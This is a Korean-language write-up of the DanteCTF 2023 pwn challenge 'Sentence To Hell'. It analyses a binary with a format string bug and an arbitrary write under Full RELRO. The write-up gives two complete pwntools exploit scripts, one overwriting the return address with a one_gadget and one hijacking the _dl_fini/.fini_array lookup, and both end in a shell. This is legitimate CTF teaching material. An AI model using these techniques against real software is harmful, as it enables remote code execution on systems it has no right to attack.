Dante CTF 2023 - Sentence To Hell (Full Relro)

Name a soul you want to send to hell and we’ll handle the sentence.
Author: lillo
Easy
challs.dantectf.it:31531/tcp

  • [32 solves / 420 points]

POXX인가 HCAMP에 이런 문제를 출제하려고 했었던 기억이 난다. 원가젯은 스택 상황에 영향을 많이 받는다는 사실을 상기시킬 수 있는 좋은 문제였다. (우분투 22.04에서도 원가젯이 사용가능하다니)

Analysis

도커파일이 주어졌기 때문에 patchelf부터 진행해줬다. 환경은 우분투 22.04이다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *addr; // [rsp+8h] [rbp-18h] BYREF
__int64 value[2]; // [rsp+10h] [rbp-10h] BYREF

value[1] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("Please, tell me your name: ");
fgets(your_name, 12, stdin);
your_name[strcspn(your_name, "\n")] = 0;
printf("Hi, ");
printf(your_name); // fsb
puts(" give me a soul you want to send to hell: ");
__isoc99_scanf("%lu", value);
getchar();
puts("and in which circle you want to put him/her: ");
__isoc99_scanf("%lu", &addr);
getchar();
*addr = value[0];
puts("Done, bye!");
return 0;
}

your_name 변수는 bss 영역에 존재한다. 글자수를 11자까지만 적을 수 있기 때문에 (null 포함하면 12자) 주소를 leak하는 데에 쓸 수 있다. 그리고 아래와 같이 임의쓰기가 존재한다.

1
2
3
.text:0000000000001375                 mov     rax, [rbp+value]
.text:0000000000001379 mov rdx, [rbp+addr]
.text:000000000000137D mov [rdx], rax

하지만 Full Relro이기 때문에 덮을 수 있는 구간이 많지 않다. 대표적으로 got를 덮지 못한다. 이럴수록 원가젯의 존재를 떠올려야 한다.

Exploit 1

  1. stack, pie leak
  2. stack ret를 _start로 덮어 한 번 더 실행되도록 함
  3. libc, stack leak
  4. one_gadget 오프셋 계산 후 stack ret를 one_gadget[0]으로 덮기

원래 한 번만에 stack ret를 one_gadget으로 덮을 수 있지만 스택 상황이 맞지 않아 원가젯은 실행되지 않았다. 이럴 땐 main을 한 번 더 실행시켜 스택에 조금 변화를 주고(?) 원가젯을 실행시키는 방법이 있다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

p = process('./sentencep')
# p = remote('challs.dantectf.it',31531)
e = ELF('./sentencep')
libc = ELF('./libc.so.6')

p.sendlineafter(':', '%p_%13$p')
p.recvuntil('0x')
stack_ret = int(p.recv(12), 16) + 0x2148
info('stack_ret @ ' +hex(stack_ret))

p.recvuntil('_0x')
e.address = int(p.recvuntil(' ').strip(), 16) - 0x1229
info('pie @ ' +hex(e.address))

value = e.symbols['_start']
p.sendlineafter(':', str(value))
addr = stack_ret
# pause()
p.sendlineafter(':', str(addr))

# one more main
p.sendlineafter(':', '%3$p_%p')
p.recvuntil('0x')
libc.address = int(p.recv(12), 16) - 0x114a37
info('libc.address @ ' +hex(libc.address))

p.recvuntil('_0x')
stack_ret2 = int(p.recvuntil(' ').strip(), 16) + 0x2148
info('stack_ret2 @ ' +hex(stack_ret2))

one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8]
value = libc.address + one_gadget[0]
print(repr(str(value)))
p.sendlineafter(':', str(value))

addr = stack_ret2
p.sendlineafter(':', str(addr))

p.interactive()

Exploit 2

이 방법에 대해선 글을 따로 작성하려고 한다. 아래 익스플로잇을 참고하였다.

  1. stack, pie leak
  2. stack ret를 _start로 덮어 한 번 더 실행되도록 함
  3. libc, ld leak (후에 알고보니 ld leak한 값이 rtld였다.)
  4. ld_leak + 0x13b0을 your_name으로 덮음
  5. your_name에 페이로드 입력
  • 원래 ld_leak + 0x13b0 주소에는 x 값이 저장되어 있다. 그리고 x + 8에 위치함 값(주소)이 call이 된다.
  • ld_leak + 0x13b0 주소를 your_name으로 덮었기 때문에 최종적으로 your_name + 8에 위치한 값(주소)이 call이 된다.
  • 이는 우리의 입력값이니 원하는 주소를 call할 수 있다.
  • 이를 위해 your_name에 onegadget을, your_name+8에는 your_name 주소를 넣어야 한다.
  • 사실 최종적으로 실행되는 주소는 pie_base + y 형태로 계산되어 call이 되고, y는 x + 8, 즉 your_name + 8 에 위치한 값이다.
  • 결국 your_name에는 p64(one_gadget) + p16(your_name_off) + p8(0)이 들어가야 한다.

이 방법은 main 함수가 종료되어 return될 때 _dl_fini 함수에서 .fini_array를 참조 후 호출하는데, .fini_array을 어떻게 참조하는지에 집중하면 이런 익스플로잇을 작성할 수 있다. your_name 변수를 .fini_array로 착각하게 만들었다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

# p = process('./sentencep')
p = remote('challs.dantectf.it',31531)
e = ELF('./sentencep')
libc = ELF('./libc.so.6')

p.sendlineafter(':', '%p_%13$p')
p.recvuntil('0x')
stack_ret = int(p.recv(12), 16) + 0x2148
info('stack_ret @ ' +hex(stack_ret))

p.recvuntil('_0x')
e.address = int(p.recvuntil(' ').strip(), 16) - 0x1229
info('pie @ ' +hex(e.address))

value = e.symbols['_start']
p.sendlineafter(':', str(value))
addr = stack_ret
p.sendlineafter(':', str(addr))

# one more main
p.sendlineafter(':', '%3$p_%7$p')
p.recvuntil('0x')
libc.address = int(p.recv(12), 16) - 0x114a37
info('libc.address @ ' +hex(libc.address))

p.recvuntil('0x')
ld_leak = int(p.recvuntil(' ').strip(), 16)
ld_base = ld_leak - 0x3a040
info('ld_leak @ ' +hex(ld_leak))
info('ld_base @ ' +hex(ld_base))

value = e.symbols['_start']
p.sendlineafter(':', str(value))
addr = stack_ret - 0x100
p.sendlineafter(':', str(addr))

# one more main
one_gadget = [0x50a37, 0xebcf1, 0xebcf5, 0xebcf8] # one_gadget[0]에 0a 있어서 안됨
# your_name = libc.address + one_gadget[0] - 0x3d88 # 길이가 길어서 입력이 넘어감

your_name = p64(libc.address + one_gadget[1]) + p16(0x4050) + p8(0)
# print(repr(str(your_name)))
p.sendlineafter(':', your_name)

value = e.symbols['your_name']
addr = ld_leak + 0x13b0 # ld_leak = rtld

p.sendlineafter(':', str(value))
p.sendlineafter(':', str(addr))

p.interactive()